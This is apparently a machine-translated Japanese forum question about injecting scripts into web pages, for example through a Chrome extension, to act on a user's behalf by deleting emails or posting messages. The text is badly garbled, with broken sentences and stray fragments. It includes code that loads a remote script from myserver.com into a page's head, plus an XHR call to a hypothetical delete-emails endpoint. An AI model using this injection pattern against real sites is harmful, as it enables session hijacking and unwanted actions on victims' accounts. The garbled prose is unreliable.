一部のサーバーでは、srcとスクリプトの要素を動的に挿入できます。スクリプトインジェクションによるリモートコントロール
私たちはのようなものを行うことができますによる同一生成元ポリシー、ではなく別のサーバーにデータを送信することはできません。
- は、いくつかのmailserviceと
- 内のすべての電子メールがお店にいくつかの受注を作る削除
- 書き込みsocialnetwork上のメッセージのように...
原因スクリプトが中に注入しましたページxサーバであり、サーバにリクエストしています、何も間違っていません - 同じ発信元ポリシーが機能しません。
このサーバーはデフォルトでは保護されていませんか? 「スクリプト-SRC 『安全ではない-evalを』 『危険なインライン』
を:それは、次のコンテンツセキュリティポリシーの指示に違反しているためは、スクリプトをロードするために拒否:我々はこれを持って保護されたサーバーで
q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);
このようなスクリプトはChromeの拡張機能にラップしてインストールすることができます。(私はここで間違ってまたは多分拡張はいくつかのより多くの制約を得たのですか?)
私はstackoverflow.comにページを(頭に)スクリプト要素を挿入した場合、私は200 OK
を取得し、例えば var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stackoverflow.com/?delete-emails');
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
console.log(location.href);
}
};
xhr.send();
:3210
そして、ここではと仮定し、サーバーが削除・電子メールのPARAMで要求を処理しているinject.jsです。